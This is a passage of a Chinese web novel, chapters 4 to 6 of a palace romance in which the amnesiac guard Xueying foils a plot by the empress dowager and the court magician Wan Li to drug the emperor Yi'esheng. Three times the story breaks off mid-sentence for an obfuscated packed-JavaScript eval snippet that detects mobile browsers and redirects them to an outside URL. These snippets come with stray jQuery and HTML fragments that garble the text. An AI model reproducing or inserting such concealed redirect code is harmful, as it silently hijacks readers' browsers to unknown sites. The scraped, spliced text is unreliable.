他换了严厉的语气:“你不记得了,先前你停滞在第五次蜕化期,迟迟不能蜕化,会有骨痛的症状,朕得替你松活脊骨,免得你痛起来受不住。” 雪萤呆了呆,他确实不记得这件事,既然主上都这么说,那一定是真的了。这样想着,挣得倒是没那么厉害了,但他还是在主上的掌中扭动,小声说:“可属下现在并不痛啊……” 义蛾生将人按在身下摸了个舒爽,心里跟飞上云端似的飘飘然,声音却还很冷厉:“废这么多话,朕先练习一番,等你真痛起来了,才好熟练地替你按摩。” 4. 第 4 章 皇帝将人抱走都有好一会儿,太后才回过神,“啪”的脆生生一声,将手中扇子折断,脸色快要滴出墨来:“叫万笠过来!” 没过一刻,正偷偷搂着皇帝后宫两位才人晒太阳的万笠,屁滚尿流地爬了过来,一路爬到太后脚下,猛猛磕头:“太后召见臣有何事?” 太后看他一眼,脸色稍微好了些。她朝万笠伸出一手,万笠立即识趣地接过,就着太后的恩赐起了身,低眉顺眼地站在一旁。 他今日穿着修体的道袍,打扮得很是意气风发,本就俊俏的小模样看得人心头愈发熨帖。太后心情舒爽许多,这才淡淡地说:“哀家问你,先前你说皇帝身边那名天萤族的小侍卫,叫做‘雪萤’的,你说他只要未完全度过蜕化期,就没有第二次复生的机会,可哀家见皇帝已经将人复活过来了,你说,这到底是怎么回事?” 万笠在脑中回忆着“雪萤”这个名字,忽然想起来了,这不是当年那个死了之后,叫皇帝发疯一锅端了中术组织的人么!他惊讶不已,背后冷汗直冒:“这怎么可能?!” 天萤族人没有历经蜕化期、进入成年后长出的那层“体甲”,只如寻常人一般,死了就是死了,怎么可能还会被复活?这当真是匪夷所思! 万笠在宫中当着个“国师”的职位,这还是当年太后赏他的恩赐。他最早是“中术”一名学术不入流的方士,却长着一张漂亮脸,讨得太后的欢心,被选入宫中,立即脱离了中术。也是运气好,正因如此,才没跟着中术让皇帝杀了。 他仗着自己是国师,又深得太后宠爱,在这后宫颇为放肆,有时候甚至还要尝尝皇帝女人的味儿,要是有守不住寂寞的太妃找上他,他也来者不拒的,平日里干的最多的事情是,听从太后指使,琢磨怎么坑皇帝。 对雪萤的事情,太后叫他留意着,万笠便来回确认过数次,认定雪萤没度过蜕化期,没那如第二条命的“体甲”,信誓旦旦地跟太后保证,雪萤不可能复活,太后才放了心,任由皇帝弄出禁宫在里面折腾,谁想今天就啪啪打他的脸。 万笠心思一动,忽地想到什么,跟太后说:“太后,这雪萤未得体甲仍然复活,这乃是妖邪啊!” 太后闻言心头也是一动:“妖邪?” 万笠连忙点头:“本不该他复活的,他却复活了,这不是妖邪是什么?” 太后不知想到什么,眼神一凛,嘴边却笑了起来:“……那这样,不是很好做文章了么?” 万笠伺候太后多年,早将她心思拿捏得四平八稳,当即明白了:“太后是说……” “皇帝本就是个篡位‘妖邪’,还在这神圣威严的宫中养了十年的妖邪。”太后冷冷一笑,“他再是皇帝又如何,妖邪现世,有伤国运,万笠,你知道该怎么做。” 万笠恭恭敬敬地低下头去:“臣晓得,臣下去便着手安排。” 他见着太后面上依然略显阴郁,体贴地上前去替她按揉着肩膀:“太后莫生气,气大伤身,这都是小事,自有臣替太后分忧。” 太后微微笑道:“你倒是体贴。只是这皇帝翅膀是越来越硬了,他本来就是个性子暴戾的,一直不安分,哀家真怕有朝一日,连他都压不住了。” 万笠连忙跟着点头:“要太子还活着该多好,当年要是太子登基,太后也可以省一万个心。” 太后跟着叹了声气:“正是。太子性格好,又是哀家一手带大,如今这皇位上的人要是他,哀家哪能这样日日受委屈……罢了罢了,说这些做什么。” 眼见着太后情绪又低了下去,万笠谄媚地笑道:“太后消消气,臣近日里无事又研制出了一张药方,能替陛下补补身子,提高兴致的。陛下要是兴致上来,多临幸几名后妃,这皇嗣可就不是问题了……” “还是你最能讨哀家欢心。”太后伸手摸了摸他的脑袋,“你先试试这药的效果吧,雪萤那事你看着慢慢安排,稳妥一点,周密一点,确实也是,哀家再怎么不喜皇帝,如今这皇室凋微,能多添几个皇嗣,总归都是对哀家有利无害的。” 万笠几句话哄得太后心花怒放,临走时还得了一堆赏赐,这才让太后恋恋不舍地放走,回去便关起门来,取出他那药方子配制出来的成品。 这可是好药,上回做出来他自己就试了试,只是一滴,就让他精神抖擞,连着两天两夜缠绵塌间,和四女共度春宵。要是给皇帝用上四五滴,一定让他化身种马,不死不休地耕耘上十天十夜,太后也就不必操烦皇嗣的事情了。 万笠心里美滋滋地想着,到时候太后该要怎么嘉赏他,一边在屋里哼着小曲儿琢磨如何把药下给皇帝吃进去。 那边寝殿,义蛾生把人摸够了,才叫宫人拿来雪萤当年穿过的衣物,让他站在自己身前,给他穿好衣服。 他拿手环在雪萤腰间,似乎在丈量腰围,然后说:“先穿几日,过阵子等你外出任职,再叫人给你做几身好衣服。” 雪萤想到自己是侍卫,既然是侍卫,那确实是要任职的,可他奇怪:“外出任职?雪萤难道不该留在主上身边么?” 义蛾生脸上的神色淡了些:“都要。” 他在考虑让雪萤重新回去做御殿督卫。眼下他不知道该怎样面对失了记忆的雪萤,一想到雪萤这时恐怕以为他是自己的太子主人,心里就膈应得慌,又不知该如何解释,当年雪萤最后死在他怀中,以及他死之后,关于太子的,关于皇位继承的,关于天萤族的一些事情…… 还有,别人都能顺顺当当地度过蜕化期,为什么他还卡在第五次蜕化期,迟迟不能完全成年。 义蛾生神色愈发冰冷,心里直扭曲。 御殿督卫都是他亲手提拔起来的亲信,最早还要追溯到雪萤身上。天萤族身轻,轻功绝佳,擅长隐匿,雪萤跟在他和太子身边,担任着替他们笼络情报、传递密信的职责,后来二人慢慢地大了,需要插手的事情多了起来,他们便让雪萤帮忙栽培了一批人,替他分担工作。 雪萤死后,这些人在残酷的政治斗争中也死了不少,最后活下来不过九人,现在都是义蛾生的心腹,让他安插在皇城十一卫所每一处核心的位置,为他牢牢地把住皇城军权。 现在雪萤回来了,那些人当年都是他提拔起来的,正好叫他前去统管,义蛾生放心得下。而且他韬光养晦近十年,终于站稳脚跟,差不多也该考虑慢慢地剪除先皇埋下的隐患,这六王九公十二侯,到时候还得让雪萤为他暗中收集证据。 义蛾生拢着雪萤,看他神色天真,这才想起人刚活过来,自己在心里就替他安排上一大堆事情,心想他是不是有点太坏了……不过,一直以来,他珍爱雪萤,可也从未想过要将人拘在身边当禁脔一样,藏得头发丝都不露 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15418501|168916||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 半点,他更想让雪萤在安全的前提下,实现他自身的价值。 既要做帝王掌中雀,也要做飞翼垂天之鸢。 义蛾生绕到书桌前,拿出一份黄纸,在上面刷刷写下几笔,把它和印泥一起拿到雪萤面前,让他看完后签字画押。 雪萤看了看上面的内容,倒挺简单,就两行字,第一行是任命他为皇帝义蛾生的御殿督卫……倒是新奇,雪萤这才知道主上的名讳,不过他只能在心里记着,嘴里不能说出来。 为什么要叫“义蛾生”呢?先皇为皇子取名这样随意么? 第二行写工作时间辰时至申时,俸禄是每日一粒器珠,器珠攒到一定数目可以拿到内侍司兑换银两。 一粒器珠可以兑换多少银子呢?雪萤又想。 义蛾生见他发呆,忍不住想捉着他的手按印:“想什么?” 他感觉自己真是脱了裤子放屁,多此一举,明明直接下一道诏令可以解决的事情,他还要在这儿盯着雪萤亲手按上指印,仿佛这契令才算完整,否则总是会有一种雪萤还在效忠太子的别扭感。 雪萤回过神来,按了手印,说:“属下……臣在想,什么时候去赴职。” 义蛾生立即将那道契纸宝贝似的收了起来:“到时候朕叫人带你去熟悉。” 雪萤又问:“那臣现在要做什么?” 义蛾生看了看他:“坐着吧,等朕换一身衣服。” 雪萤却不坐,反而跟屁虫一样黏上来:“臣,臣帮主上更衣。” “那可别。”义蛾生说,“要你帮忙,朕今天别想换好衣服了。” 他故意逗弄雪萤,可雪萤听不懂,那副茫然的模样可爱得打紧。义蛾生心情好了一些,进到内室叫宫人替他更衣。 其实他还是挺想让雪萤亲手为他更衣的,不过现在不可以,至少不能让雪萤看见…… 雪萤独自坐在外面时,万笠却偷偷摸摸地过来了。 他在后宫向来走动自由,义蛾生这会儿没叫人守在寝殿外,于是让他大剌剌地走了进来,正好看见乖乖坐在软榻上的雪萤。 万笠定睛将雪萤看了看,他十年前也是见过雪萤的,这会儿亲自前来一看,嘿,果真是十年前太子与废王身边最得宠的那名小侍卫,连一根头发丝都没变过。 万笠跑来本是想打听,义蛾生这几日偏好的膳食,谁想一来就先撞见雪萤。他转了转眼珠,叫出雪萤的名字:“雪萤,快去通禀陛下,就说国师万笠求见。” 雪萤用手指攥着衣摆,紧张地站起身来:“国师……” 万笠做出惊讶神色:“你不认得我了?十年前我们一起为陛下做事。” 雪萤说“记不得了”,然后又说:“我去找主上来。” 他转过身,跑到内室外叫义蛾生:“主上……” 室内,刚脱掉上衣、袒露出上身的义蛾生愕然转身。 也就在那么一瞬间,雪萤看见了…… 主上腹侧,有一道陈年的刀痕。 他忽然呆住了,那一瞬间,那道伤痕与他记忆中最后一幕重合在一起,令他心头大震。 那道伤,那不是他留在废王身上的…… 帝王的脸色骤然如风暴聚集,刹那电闪雷鸣。他咬紧了牙,仿佛被人撕开伤口的野兽,暴怒咆哮着保护鲜血淋漓的自己:“滚出去——” 5. 第 5 章 雪萤几乎一下子就让主上吼得哭了出来,狼狈不堪地跌跌撞撞跑出来,正好让万笠拦下。 万笠听见皇帝在内室这么震耳欲聋的一声,却不知发生何事,连忙拦着雪萤,安抚他:“怎么了这是?” 雪萤一边哭一边跟他说:“雪萤惹主上生气了……” 万笠心头纳闷,皇帝虽然性子阴沉,但也是一条咬人不叫的狗,什么心思都是好好地端着,从不喜形于色,今日怎么会克制不住地发这么大的火? 转念再想,这可是一个好机会啊!他连忙跟雪萤说:“既然如此,陛下等会儿肯定不想看见你,你先跟我出去避避风头。” 雪萤只想着自己让主上发火,再要主上厌恶看见他,那就糟糕了,压根没想到万笠脑子里的鬼心思,略一迟疑,便点头答应了,跟着万笠走出寝殿。 万笠领他上自己宫中坐着,一时也没想好要如何处置雪萤。他本来跑去见皇帝主要目的还是为了琢磨给皇帝下药,顺带看看雪萤是不是当年那个,谁想碰巧捡着个大便宜,让他把雪萤带回来了。 哎哟,这人都到他手里了,那岂不是任他揉搓…… 万笠乐颠颠地转了一会儿,还是没想好怎么对付雪萤,于是先拿些问题问他:“雪萤,你这会儿还给陛下做侍卫么?” 雪萤抬起狗狗眼看他,点头:“当然。” 万笠很是惊讶:“我以为你这会儿就算不做皇后,也该做个贵妃了。” 雪萤郁闷道:“我与主上不是那种关系……” 他忽然想起主上腹部那道刀伤,这时才冷静下来细思,可他这懵懵懂懂的脑子又思不动,他不明白到底是太子腹部有同样一道伤,还是他的主上是废王。 雪萤想得烦恼,但他下意识觉得,主上就是他的主上,除了主上,不会有第二个人愿意用十年时间来为他招魂,他的心里和身体,都对主上有着本能的依赖。所以他不需要管这个人到底是谁,只要知道这是他的主上就好。 他刚这么想了,万笠又问:“陛下给你开多少俸禄呢?要不别干了,来我这儿帮忙吧。” 雪萤心里有些生气,正色道:“这怎么行。” 他又说:“主上每日给雪萤一枚器珠,从辰时到申时。” “器珠”是个什么玩意?万笠不明白。不过皇帝常在深宫走动,想让内务司支几万官银倒是容易,自己身上肯定是没个小钱的,所以他想这说不定是皇帝拿来哄雪萤的小玩意儿,嘴里马上开始挑拨:“叫你干这么长时间,才给你一枚器珠?!这也太少了,我要是你,我可受不得这委屈。” 这很少么?雪萤也不懂,他想,要不回去找主上问问,能不能再多给他些俸禄?或者叫他当差的时间少一些。 万笠还要继续洗脑他,这时外面来人通报求见,不知是什么重要角色,叫万笠匆匆说了句“等我一下”,拎着袍子小跑着出门去。 雪萤望着他跑开的背影愣了愣,复又抬头望向上方顶梁。 找万笠的人是内侍司负责皇帝“食”的御厨掌膳,他虽然算不上太后手底下的人,但太后是这后宫的主子,不管是谁都得卖她几分面子,听说是万笠差遣他,纵使心里有多个不乐意叫这只比太监多了一个玩意儿的人使唤,可还是要来。 万笠叫他来,问他为皇帝准备了什么膳食,掌膳心里骂着,面上却微微笑着答了。这厮一问这种问题,他心里清楚这是太后又想给皇帝下药,却不敢明面撕破脸叫他们不要下,只求这一次别太作妖,不然皇帝一般还是比较开明,不会太过苛责他们这些小角色。 听掌膳答完,万笠装模作样地正色道:“把汤去了,刚娘娘上午熬了燕窝汤,特意为陛下补补身子,等会儿你添上去,不要辜负娘娘一片好意。” 掌膳一听,心头又是一阵骂。 故意含糊不清地说“娘娘”,不说宫中哪位娘娘,到底是太后娘娘,还是那些个妃啊嫔啊的,到时候真要出了事,皇帝追查下来,又要算到他们头上。 万笠却拍拍他肩膀,语气倒还热络,不过话里话外都是威胁:“快去吧,莫要等下误了事,担个办事不利的罪头,那可就不值当了。” 掌膳只得称“是”,退了下去。 将人打发离开后,万笠又回殿内找雪萤。可他跨进门一看,原本应该坐在椅子上的雪萤却没了踪影,叫他很是惊讶。 万笠来来回回转了两圈,喊叫道:“雪萤?雪萤!” 无人应答,万笠急着跑到外面,抓着在殿外伺候的内侍问:“看见雪萤没?他往哪边去了?” 他以为雪萤已经离开宫殿,所以才会问出“往哪边去”。内侍却叫他的提问误导,当真以为有人出来了,只是自己没留意,于是磕巴着随手一指:“应该……往那边去了。” 万笠一听,有些气恼雪萤不告而别。转念再想,反正都在皇帝这后宫里头,以后有的是机会见面,正好他今日也没想好要拿雪萤如何,回去了就算了。 他折回殿内,却不知让他一阵好找的雪萤并没有离开,而是正蹲在他头顶房梁上,敛声屏息地观察他动静。 雪萤这会儿醒来后失忆,连过去所学那些看家本领都给一并忘记了。但他还有轻功,轻功是天萤族的天赋,擅长隐匿是他们与生俱来的本事,雪萤只是觉得,万笠虽然说着与他相识,但他这会儿除了主上,谁都不记得,还是不要轻易相信他人,多多观察比较好。 所以他才趁着万笠出门见掌膳的一会儿功夫,跑到房梁上蹲着,想看万笠见他不在的时候,会做些什么事情。 他看见万笠把白玉瓶中几滴药水融在羹汤中,然后叫人送出去,心里暗暗记了下来。他准备等万笠走开后,就寻机会离开这里,回去找主上,先跟主上道歉,恳求得到主上的原谅,再拿万笠的事情询问主上。 但在这时,忙活完给皇帝下药的万笠,忽然钻进书柜角落,伸长了手在墙壁上摸索。 只听“咔嚓”一声,墙壁应声而动,缓缓朝左侧滑去,露出后方一道一人高的墙洞。万笠还挺谨慎地左右看了看,然后才走进墙洞,墙壁在他身后又合了上来,完全看不出后方别有玄机。 雪萤露出惊讶神色。 他从房梁上跳下,走到万笠先前站过的书柜后方,摸到墙壁上有一处凸起。他用力按了一下,只听熟悉的“咔嚓”声响起,那道隐匿的密道对他也敞开了大门。 雪萤走了进去,墙壁在他身后复又归位。周围漆黑伸手不见五指,他心里却没有很惶恐,适应了一会儿昏暗的空间后,便沿着密道向前走去。 走了快要一刻,雪萤看见面前一道小门透出光亮,他便知道这是走到了尽头,却不冒然伸手推门,依然屏住呼吸,凑到门边的缝隙处,悄悄地朝外打量。 第一眼先见着万笠,第二眼却见他怀中搂着……太后?! 雪萤心头大惊。 太后是宫里的主子,万笠,万笠不是国师么?他们竟然还有这样的关系! 然后听见万笠甜言蜜语地跟太后说:“药已经下好了,太后喜欢这哪宫的姑娘?等会儿吩咐她们赶紧过去。” 太后微微一笑,抬手拍拍他的脸:“只要不是你喜欢的就好。叫几个干净的过去吧,哀家可不想盼星星盼月亮,最后盼出来的崽子还是你的。” 万笠面上笑容一僵,忙不迭道:“正是,正是……” 雪萤听了非常惊讶。他联想到先前让万笠滴了某种不知名药物的羹汤,原来那是要送去给主上吃的么?他心头一颤,那羹汤已经送了过去,很快主上就会毫不知情地吃下,他不知道那下的是什么药,但他必须要去阻止。 这样想着,雪萤掉过头,又从密道返回万笠宫殿中。他急慌慌地朝门口跑去,路过案桌时忽然看见那上面放着一朵女子的簪花,想也没想,顺手拿了过来揣进怀中,着急去寻主上。 主上……千万不要吃啊。 午膳送来时,义蛾生淡淡地看了一眼,发现多了一道与以往不一样的燕窝汤。他看向拱手伺候在旁的掌膳,问:“这是什么?” 掌膳后背冷汗涔涔,垂首回答:“是……宫中娘娘特意为陛下熬制……” 义蛾生没什么表情地“嗯”了一声,然后说:“下去吧。” 掌膳领着宫人退下,义蛾生脸上淡漠的表情垮了下来,变得阴冷、郁郁。 他没有动刚送上来的午膳,桌上剩着一碗早上没吃完的冷米饭,没让人收走,他端起来,坐到寝殿西侧临水的围栏前台阶上,慢慢地吃着。 临栏的水面上金线宝荷开得正好,义蛾生却没什么心思欣赏,只兀自嘲笑他这皇帝做得实在是窝囊。 他原本穷尽一生,都与这皇位无缘,因他本该永远都只是太子的影子,一个没有名字的人,甚至都见不了光。但他与太子的生父荒淫无道,宠信宦官与方士,整日沉溺酒肉女色,就是生民的钱财也叫他挥霍无度,又一点一点,将皇权分出去,分给他的兄弟们,分给王公诸侯,最后传给太子和义蛾生的,是一把摇摇欲坠的龙椅。 先皇统治的最后几年,手下臣子上书劝说他修建渠梁河水道,以构筑枢纽、商通四方,这本来是有利于千万百姓的好事。但先皇看着收缴上来的税款,便挪不开眼睛,在几位王公的怂恿下,先在水道上游岸边建造了一座空前巨大的船型楼阁,供他玩乐,却要美名其曰“督造”。 本该拿去造筑的钱,让先皇用度一空,他却好像什么都看不到,叫诸侯用强兵威逼百姓背井离乡,放弃耕地,下水白白做着无望的苦力,又从各地强征豪取筑造材料,而材料运送途中每经过一地,都要让那些诸侯剥走一层,运到渠梁河时,剩的越少,他们便要向百姓抢的越多。 是以,天下大乱,民不聊生,先皇却蒙上眼,堵住耳朵,只在天宫仙阙、妙音袅袅中,享受帝王无上的欢愉,直到最后一刻—— 在他与二十四名年轻女子嬉游时,让藏在其中的女刺客,用压在舌头下的毒要了命。 先皇一死,太后立即连同勇乾王压下死讯,秘不发丧,并传下假的遗诏,迅速接手朝堂大权,在立太子为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15418502|168916||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 新帝之前,要杀义蛾生这藏在太子身后的影子。义蛾生却因雪萤一手建起的情报网,提早得知消息,连夜出逃,投奔六王中的崇元王,自立为“废王”。 因为太后,他与自己的孪生弟弟斗过很长一段时间,但这份恩怨,最终随着雪萤的死,烟消云散……太子也没了,只剩下他一人,他们是孪生子,又是长期的光与影,样貌举止如出一辙,太后无法,只得接受事实,让他登基,成为天下人的皇帝。 从一开始,这皇帝就做得如履薄冰。千疮百孔的国度,百姓怨声载道,诸侯虎视眈眈,还有永远都不会对他放下成见、与他矛盾积重的太后,他过得太累,十年来每一日都行走在刀口上,也只是勉强建立起自己的帝王威信,叫人忌惮不敢随意推翻他。 可那些背后的小动作,从来都没有停歇过。他知道太后一直都在见缝插针地想给他下药,下什么药,取决于太后有什么目的,不会有致命的药,只是一些慢性毒,或者是催情的药,想要他衰弱,想要他尽早诞下皇嗣。 他闻得出药味,所以从来不吃。后宫太后为他挑选的百名后妃,他一个也不碰,他知道自己但凡让她们中的一个受了孕,太后就会立即将人藏匿起来,等到十个月后,只要生下来的是一个儿子,他这皇帝就会让诸侯们一拥而上,撕成碎片,才能让太后扶持着一个更好控制的傀儡,重登宝殿。 即便早已麻木了躲避暗算,可每每到这种时候,依然会觉得心冷。 义蛾生慢慢地吃了那碗冷米饭。 所有人都对他诸般挑剔,认为他并非正统的,斥责他手段极端的,进谏他不育皇嗣、做得依然不够好的,可从来都没有人问过他,接过这样一个布满荆棘的重担,他会不会累,他心里是否有过恐惧,他在想什么。 义蛾生在想雪萤。 他想抱一抱雪萤,这只小小的萤火虫,是他蜷在无边黑暗中那段时日,唯一的光亮。 可他又不想抱雪萤。他的雪萤终究不是十年前的那只,分不清他和太子是两个人,甚至分不清谁才是他的“主上”,这样的雪萤与环绕在他身边的人没什么区别,照不暖他酽冷的心。 他也有很多事情没法向被时间遗忘十年的雪萤解释,除了拖延的蜕化期以外,还有在雪萤死后,天萤族终究还是被太后怒火波及,一夜之间,大火焚毁熠耀之树,烧死无数天萤族人,逼得族长不得不带领残部出走,到更远的世外之地重建家园。 他心冷,孤寂,又迷茫,可没有办法向任何人分说。 碗里的饭还剩下一半,义蛾生正在思考要不要吃完。再是皇帝又如何,他的日子一直过得不好,用十年时间勉强补上当年先皇透支的亏空,虽然入不敷出,但不至于使民生动荡,所以他深知每一口粮食都要好好吃下肚子。 可他只能约束自己,因为后宫太后与王公贵族依然骄奢成性,从不顾念他的忍让。 但就在这时候,身后忽然传来一阵“哒哒哒”的小跑声—— 转头一看,雪萤朝他扑了过来,双手张开十分冒失地将他端在手中的那碗饭打翻,剩下的那半碗饭,与那碗一起,就让义蛾生眼睁睁地看着,“扑通”一声,掉进水里。 义蛾生:“……” 雪萤跪在地上,没看见他一言难尽的神色,反而非常焦急地说:“主上,今日的午膳不能吃!” 不知道是因为看见雪萤,还是因为他这冒冒失失的举动,义蛾生的心情忽然好了些,又起了逗弄他的心思。 他好整以暇地坐在台阶上,雪萤的小脸几乎挨着他的鞋尖。义蛾生故意沉着脸,语气不怎么好地发问:“你说什么?” 雪萤抬了抬头,很担心地说:“主上,臣刚打听到,今日送给主上的午膳中下有某种药物,主上不能吃。” 他想起自己第一步本来是打算道歉的,可着急起来忘记了这回事。不过他这时护驾主上有功,主上应该愿意直接原谅他的吧? 雪萤胡思乱想着,却听头顶传来主上语气依然不怎么好的声音:“朕知道。” 雪萤瞪大狗狗眼,啊? 主上既然知道,那还要继续吃…… 坏了。他心头一震,这会不会是主上刻意为之的什么计划。真是这样的话,那他刚才的行为岂不是在破坏主上的计划…… 义蛾生说:“朕故意的,如果朕没有假装吃下,他们知道后,绝不会善罢甘休。” 果真是这样!雪萤一听这么一番解释,差点忍不住哭起来。 他又惹主上不快了。 义蛾生却故意欺负雪萤不懂事。但凡雪萤知晓那汤中下的是情药,就知道不管他吃或者没有吃,太后并不在乎,她只在乎义蛾生有没有去找后宫嫔妃,如果有,那便是大功告成,如果没有,那下次再接再厉。 雪萤却什么都不知道,他跪在地上呜咽道:“雪萤……请主上责罚雪萤……” 义蛾生脸色沉沉,严厉地说:“朕当然要罚你。” 他张开手,说:“过来,自己把裤子脱掉,朕要打你屁股。” 6. 第 6 章 这,这算是什么惩罚?! 雪萤一瞬间憋红了脸,想说话又说不出。 过去主上都是这么责罚他的么?他没有记忆,无法得到印证,除了听主上的话,好像也没有别的办法。 可是要在这个地方脱掉裤子……雪萤转动着狗狗眼,左看右看,这里可是外面啊,等下叫人看见他在被主上打屁股,那真是丢人丢大了。 皇帝的语气却毋庸置疑:“过来。” 雪萤只好从地上爬起身,扭捏着走过去,站在主上身前,自己脱了裤子,叠放在台阶上。他犹豫一下,不知道该趴在什么地方,这时义蛾生将他拽了过去,压在自己怀里,臂弯将他禁锢住。 雪萤只觉得眼前天旋地转,然后他只能看见围栏后方的金线宝荷,很快他眼睛里也看不见那些开得正好的花了……因为义蛾生劈里啪啦连着打了他五六下,在羞耻欲与痛觉的激发下,他的眼泪控制不住地涌了上来,模糊了视野。 他呆呆地愣着,都过了好一会儿,才跟如梦初醒般似的,“呜”的哭出声来:“主上……主上好坏……” “不准撒娇。”义蛾生冷冷地说着,手上却还很恶劣地“不经意”在他屁股上揉了几下。那熟悉而又柔软的手感让他心情大好,刚才那时的自怨自艾早抛到九霄云外去了。 雪萤抽噎一声,不敢再反抗主上的独断专行的“暴君”行径。 义蛾生将手放在他头上,雪萤自己就会很乖地蹭一蹭,当真是没了记忆,身体却还替他记着这些过去的动作。义蛾生在心里叹道,雪萤永远都是他的雪萤,不管是精明能干,还是冒失撒娇,永远都可以牵动他的心,让他从谷底刹那云端。 “罚”过了,还要赏,义蛾生说:“起来吧,你护主有功,先前的事情朕不与你计较了。” 雪萤愣了一下,立即就高兴起来。他起身穿上裤子,跪在义蛾生身前说:“谢主上!” 义蛾生淡淡地“嗯”了一声,正想问雪萤如何得知他饭菜中被下药,寝殿外却传来一阵嘈杂声。义蛾生脸色微变,不知想到什么,抓着雪萤走入殿内,将那送来的午膳一把掀翻,汤汤水水的洒了一地。 太后身后领着万笠与几名嫔妃走进来时,看见的正是这么一幕。她惊讶,正要问怎么一回事,义蛾生却转向雪萤,沉着脸责问:“你说什么,这当中下了药?” 他又回头看了太后那群人一眼,语气冷厉:“敢在朕的吃食中下药,这可是死罪,不至于有人还不知道吧?” 他这么一着,直接打翻太后与万笠的算盘,连带着后面那几名嫔妃的出现也变得尴尬起来。太后稳了稳心神,恶狠狠地瞪了在义蛾生身前单膝跪下的雪萤一眼,心头怒骂又是这小贱奴坏她好事。 眼下又不能顺着皇帝的意思,真叫太医来验出是什么药,那情药阴着给皇帝下,可以,开诚布公地昭告出来,不行,否则她身后带这么一堆嫔妃,那岂不是明摆着在说,药是她下的?! 太后心头恨恨,但她必须转移皇帝注意力,只得向雪萤发难:“说,你怎知饭菜中被下了药?” 义蛾生早料到她会转移话题,默默准备好应对言辞。他要坚持验药,并且公布雪萤已恢复御殿督卫的身份,是他的耳目,是他的直属亲信,没有必要向太后讲清消息来源—— 但他低估了雪萤的适应能力。 雪萤聪慧知心,十年前便善会与他主仆打照应,如今哪怕是失了记忆,见主上反将太后,依然能够心领神会,立即从怀中掏出先前从万笠宫里顺走的簪花:“主上,这就是证据!” 他只见万笠搂着太后亲昵,以为此物必定属于太后,就算拼了自己,也要揭穿这对狗男女的奸情,替主上狠狠出一口气。可还未等他解释自己在万笠宫中发现密道,太后却一把夺走簪花,喊道:“这是哪宫的物件?” 雪萤迷茫了,不知这是演的哪出。义蛾生心里却很清楚,这证据来得突然,太后一定是觉出这东西不属于她,这才灵光闪现,想借此机会,早早地要将她与万笠摘出去。 但他并不在乎,反而高兴他的雪萤带来的变数,只把这滩浑水搅得更浑浊,他就想坐看好戏,看最后会轮到谁倒霉。 几名嫔妃窃窃议论,过了一会儿,其中一人说:“看着像是曾贵妃的……” 曾贵妃是凌阳侯家女儿,凌阳侯与站在太后那方势力的若水王来往密切,故而也可算作太后手底下的人。不过这女子仗着贵妃身份,日常少在太后跟前走动,现今又叫雪萤拿出遗落的簪花…… 太后淡淡地瞥了万笠一眼,心头一目了然,猜到一定又是让万笠勾搭上,万笠拿了人家的贴身物件当作战利品。万笠叫太后这么一看,立马心虚地低下头去,连腿肚子都在打着颤。 再是贵妃又怎么了,这样不知天高地厚,太后心头不喜,甚至不需要等皇帝安排,她便开口道:“去把人找来,问她给陛下下的什么药。” 她身边几名老宫人出去不多时,就将哭哭啼啼的曾贵妃架到寝殿外,直接动上杖刑拷问。可那曾贵妃才当真是人在宫中坐,锅从天上来,甚至都不知道发生了什么,便挨了好一顿打,很快连哭声都微弱了下去。 太后等人注意力都放在外面的逼供上,义蛾生抬手拉起雪萤,指点他到身后站着,冷眼观望这些人表演的好戏。 没过一会儿,外面宫人小跑入内,轻声禀报:“人已经昏死过去了。” 太后淡声问:“怎么说?” 宫人忌惮地看了义蛾生一眼,答:“她承认给陛下下药。” 太后转身,朝义蛾生说:“这既是后宫之事,陛下交由哀家处置便是,这汤药也叫人收走,待哀家好好查证,到底下的是什么药。” 义蛾生露出一丝冷笑,既然太后给了台阶,他便照着下就是了:“有劳太后。” 太后领着人,浩浩荡荡地又走了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15418503|168916||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 雪萤却茫然不解:“这就完了?”发生了什么? “嗯。”义蛾生揽着他到软榻坐下,心头一阵舒爽。 什么都没做,就叫这群人内部狗咬狗,给他演了一出好戏。不过,这可还不算完,那曾贵妃再怎么不得太后喜欢,终究是个侯爷的女儿,凌阳侯还指望着这么一个女儿飞黄腾达,就这样叫太后轻易折了去,哪里肯善罢甘休。 太后也是跋扈惯了,非要护着万笠这小白脸,护得连脑子都没了,要不是背后有勇乾王这座靠山,迟早要出事……义蛾生冷笑着,想。 雪萤的屁股刚挨着软榻,立马想起来他怎么能跟主上平起平坐,连忙站起身说:“主上,我去倒茶。” “喝什么茶,等下茶里也下着药。”义蛾生故意吓唬他,手臂霸道地横在他腰间,制着他不让走,“还没问你呢,刚跑到哪去了,怎么得知有人给朕下药,那证据又是哪里来的?” 